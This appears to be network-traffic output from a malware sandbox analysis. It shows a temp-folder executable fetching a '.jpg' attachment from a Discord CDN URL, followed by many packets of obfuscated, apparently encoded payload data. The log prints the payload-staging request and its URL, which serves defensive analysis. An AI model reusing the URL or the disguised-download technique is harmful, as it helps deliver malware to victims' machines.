2021-11-09 21:21:49 UTC	975	IN	Data Raw: 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 Data Ascii: RR x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x Oxk x RY x Rk x OxE x RY x tR x OxE x RY
2021-11-09 21:21:49 UTC	991	IN	Data Raw: 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 Data Ascii: x OOO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x tQ x kY x RY x RY x tR x kK x Oxk x RY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49871	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:21:49 UTC	1000	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-11-09 21:21:49 UTC	1001	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:49 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6aba17ce1bcb1f31-FRA Accept-Ranges: bytes Age: 1048493 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Wed, 09 Nov 2022 21:21:49 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QqZej0bIdmzadXtl648NrVqI%2Bvy3qcrgRfsxTy1tt%2BM89YfsIyRoCp6K4nZ4WDS%2B2D7KhosOP3WxVb43rRNW8Xftfj7QcntasYumFcTyItGw2BfbE7oVr7xHDfsNudNSSEssXw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-11-09 21:21:49 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-11-09 21:21:49 UTC	1002	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-11-09 21:21:49 UTC	1003	IN	Data Raw: 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 Data Ascii: x ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x kt x tx
2021-11-09 21:21:49 UTC	1005	IN	Data Raw: 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 Data Ascii: x OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x ko x YE
2021-11-09 21:21:49 UTC	1006	IN	Data Raw: 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 Data Ascii: Q x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx x OOY x
2021-11-09 21:21:49 UTC	1007	IN	Data Raw: 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 Data Ascii: k x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x kK x Ox
2021-11-09 21:21:49 UTC	1009	IN	Data Raw: 6f 6f 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 Data Ascii: oo x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x RY x OOE x RY x RR x tx x
2021-11-09 21:21:49 UTC	1010	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 Data Ascii: Y x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk x kY x YO x Oxk x Ooo x kO
2021-11-09 21:21:49 UTC	1011	IN	Data Raw: 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 Data Ascii: x RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx x Oxk x Oxx x tx x tk x YE x QQ
2021-11-09 21:21:49 UTC	1013	IN	Data Raw: 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f Data Ascii: YE x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x OxR x Oxx x RY x RY x RY x OOR x kO
2021-11-09 21:21:49 UTC	1014	IN	Data Raw: 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b Data Ascii: xQ x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk x tK x Oxk x Qk x OOx x k
2021-11-09 21:21:49 UTC	1015	IN	Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 Data Ascii: Kk x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt x Qk x YO x Oxx x Ooo x RY x RY x Rk
2021-11-09 21:21:49 UTC	1017	IN	Data Raw: 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 Data Ascii: Oxk x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ x kE x kK x tt x OoO x tR x Ox
2021-11-09 21:21:49 UTC	1018	IN	Data Raw: 78 51 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f Data Ascii: xQ x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x OOY x Qx x kO x RY x RY x KQ x OO
2021-11-09 21:21:49 UTC	1019	IN	Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 Data Ascii: x Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x
2021-11-09 21:21:49 UTC	1021	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1022	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY 